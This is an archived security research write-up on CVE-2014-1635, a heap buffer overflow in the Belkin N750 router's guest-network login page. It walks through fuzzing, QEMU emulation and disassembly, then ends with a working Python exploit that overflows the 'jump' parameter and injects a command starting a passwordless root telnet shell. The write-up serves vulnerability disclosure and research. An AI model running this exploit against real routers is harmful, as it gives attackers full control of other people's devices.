From 0-day to exploit – Buffer overflow in Belkin N750 (CVE-2014-1635)

From 0-day to exploit – Buffer overflow in Belkin N750 (CVE-2014-1635) - Marco Vaz, labs.integrity.pt.

- Published: date not stated
- Original: <https://web.archive.org/web/20160403035045/https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/>
- Current location: <https://web.archive.org/web/20160417034727/https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/>
- Preserved from: https://web.archive.org/web/20160417034727/https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/ (live) on 2026-08-10
- Capture timestamp: 20160403035045

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Vulnerability Summary

A vulnerability in the guest network web interface of the Belkin N750 DB Wi-Fi Dual-Band N+ Gigabit Router with firmware F9K1103_WW_1.10.16m, allows an unauthenticated remote attacker to gain root access to the operating system of the affected device. The guest network functionality is default functionality and is delivered over an unprotected wifi network.

Successful exploitation of the vulnerability enables the attacker to gain full control of the affected router.

Vulnerability Discovery

Fuzzing plays an important role in vulnerability discovery and this time was not different. After some fuzzed requests I noticed that the POST parameter “jump” suffered from a classic buffer overflow with a payload containing 5000 bytes. After the referred buffer overflow the process died.

This behavior was consistent with a traditional buffer overflow and the question that popped in my mind was if this was exploitable.

To try to clear this out I considered two possible approaches to be able to analyze the vulnerable process:

- Virtualization of the router process – would enable the debugging of the mips32 process in an x86 machine but probably needed some binary patching or function injection to bypass hardware or configuration access limitations on QEMU.
- Patching the router firmware – Would enable to open a backdoor and to put debugging tools inside the router with some risk of bricking the router in the process.

In the first stage of the investigation I decided that virtualization of the affected process was the simplest and less risky approach to investigate the exploitability of this vulnerability.

To get this done I downloaded the firmware to identify the process responsible for the crash.

After binwalking the firmware and finding a linux mips32 system, both virtualization and patching approaches seemed viable since all files were extracted without problems.

Binwalk extracted the squashfs filesystem from the image, and in few minutes the router filesystem was available to further analysis.

By analyzing the strings in the http and minhttp binaries, it was possible to discover that the webserver available in the guest wifi network where the buffer overflow occurred was in fact minhttp.

The Virtualization

****As stated above, to better analyse this vulnerability I decided to virtualize the minhttp process. For that I used qemu-mipsel-static since there is a lot of info about the subject and I had previous successful experiences with it.

At first try qemu-mipsel-static refused to execute the minhttp deamon:

[image: QEMU execution 1]

The error “Can’t bind to any address” in this context means that the process is trying to bind to an IP address that does not exist on the system.

A grep on the binary immediately discloses the IP address where the process was trying to bind.

[image: Grep for IP address]

With the correct IP address on the interface, qemu is finally able to run the process, but after trying to access the contents of the site strace shows us that the CWD is wrong and that the process running with a wrong current working directory is not able to get and present the html files. This happens because the execution of the qemu must be done on a chroot of the firmware, which means that the execution of the binary will have the root of the file system of the firmware as CWD and not the */www* as expected by minhttpd.

[[image: QEMU execution 2]]
(https://web.archive.org/web/20160417034727/https://labs.integrity.pt/wp-content/uploads/2014/11/Pic3.png)

To solve this issue I remembered of two possible approaches and both worked. The first was to use LD_PRELOAD to load a custom library hooking a used function in minhttpd and that function executes the Change Directory. The second was to use the binfmt module to execute in a seamless manner the mips32 binary and instead of executing the minhttpd directly from qemu I executed

the mips32 /bin/sh inside the chroot of the firmware and then changed the CWD to the correct place before executing the minhttpd binary using the mips32 /bin/sh.

To configure the binfmt I used the following signature:

```
```

echo ':mipsel:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff \xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mipsel-static:' > /proc/sys/fs/binfmt_misc/register

The following image shows the execution of the mips32 process on an x86 system using binfmt:

[[image: Binfmt_misc]](https://web.archive.org/web/20160417034727/https://labs.integrity.pt/wp-content/uploads/2014/11/Pic4.png)

After all the tweaks necessary to put the process running I activated the instruction tracing in QEMU (-d in_asm,cpu) and confirmed the exploitability:

[[image: Crash]](https://web.archive.org/web/20160417034727/https://labs.integrity.pt/wp-content/uploads/2014/11/Pic5.png)

Ok now, I had confirmation that this vulnerability could be exploited with a payload with mips32 machine code.

While trying to identify the correct amount of bytes I used incremental buffers and noticed that the *minhttp* process had different behaviors with different payload sizes:

- Bellow ±1300 bytes the request was correctly handled
- Above ±1300 and below ±2000 the minhttp process returned an empty http response
- Above ±2000 bytes the minhttp process crashed

It seemed that a buffer size between ±1300 and ±2000 crashed something, but was not enough to crash the process.

This strange behavior needed a deeper analysis and quickly after stracing the process I had confirmation that this vulnerability was much more than a simple buffer overflow with remote machine code execution.

The strace below shows that buffers bigger than ±1300 bytes trigger some kind of execution using /bin/sh.

[[image: STRACE]](https://web.archive.org/web/20160417034727/https://labs.integrity.pt/wp-content/uploads/2014/11/Pic6.png)

With a payload that is big enough, it is possible to execute the string on the request as we can see on the underlined execve().

But how to take advantage of this backdoor-like vulnerability? The Disassembler came in my help.

Reverse Engineering for the root cause

Using the IDAPro disassembler I was able to identify the problem, the overflow occurred due to the usage of the insecure strcpy() function.

The vulnerability exists due to improper buffer handling using the strcpy() function in the address 0×00402570 as presented in the image below:

[[image: IDA1]](https://web.archive.org/web/20160417034727/https://labs.integrity.pt/wp-content/uploads/2014/11/Pic7.png)

The source buffer processed by strcpy() comes from POST parameter "*jump*" and is returned by the get_cgi() function in 0×00402550.

[image: IDA2]

The buffer overflow enables the control of a variable named do_xread located in the heap and that is used to decide the execution of CGIs. The decision point occurs at address 0x0040338C where the $v1 register that has the value of the overwritten do_xread is compared with zero.

[[image: IDA4]](https://web.archive.org/web/20160417034727/https://labs.integrity.pt/wp-content/uploads/2014/11/Pic10.png)

The CGI execution is done using the popen() function as we can see in address 0x004033D0. The popen() function opens a process by creating a pipe, forking, and invoking the shell, so the argument to popen() is supposed to be a pointer to a null-terminated string containing a shell command line that will be passed to /bin/sh using the -c flag.

The name of the CGI to be executed is also in the heap and somewhere between 0x004476D0 and 0x00447AD0 near do_xread. So since the two variables are conveniently near each other it is possible with only one oversized payload processed by strcpy() to overwrite the do_xread(the control variable) and the byte_4476D0 (variable with the name of the CGI to be executed).

[image: IDA3]

As described before, the name of the CGI is processed with popen() so, instead of a file name we can inject several commands at once, separated for instance by semi-colon.

This vulnerability enables control over a part of heap memory where a variable that forces the execution of a CGI and also the variable with the name of the CGI to be executed are stored. In conclusion, the requirements for injecting commands are fulfilled.

Vulnerability Exploitation

An attacker could exploit this vulnerability by preparing a special POST where the parameter "jump" takes some padding (1379 bytes) concatenated with the commands to be executed and with something different from zero to overwrite the *do_xread* and enter the section of code that invokes the popen() by failing the jump BEQZ at address 0x0040338C.

The image below shows the execution of the utelnetd using this exploit.**

[[image: Burp 1]](https://web.archive.org/web/20160417034727/https://labs.integrity.pt/wp-content/uploads/2014/11/Pic11.png)

**Exploit Code **

The following Python code to exploit this vulnerability enables the execution of commands in the router, in this case the telnet service is started and by default the login program is /bin/sh so... with no login prompt.

#!/usr/bin/python #Title : Belkin n750 buffer overflow in jump login parameter #Date : 28 Jan 2014 #Author : Discovered and developed by Marco Vaz <mv@integrity.pt> #Testd on: Firmware: 1.10.16m (2012/9/14 6:6:56) / Hardware : F9K1103 v1 (01C)

import httplib

headers = {} body= “GO=&jump=”+ “a”*1379 +”%3b”+ “/usr/sbin/utelnetd -d” +”%3b&pws=\n\n” conn = httplib.HTTPConnection(“192.168.169.1″,8080) conn.request(“POST”, “/login.cgi”, body, headers) response = conn.getresponse() data = response.read() print data

I have developed a Metasploit module to exploit this vulnerability that also executes iptables commands so that it is possible to access telnet server directly from the guest network to the root shell. You can get it here: belkin_rce_cve-2014-1635.rb.

Note: advisory and patch information: Belkin n750 buffer overflow (CVE-2014-1635)
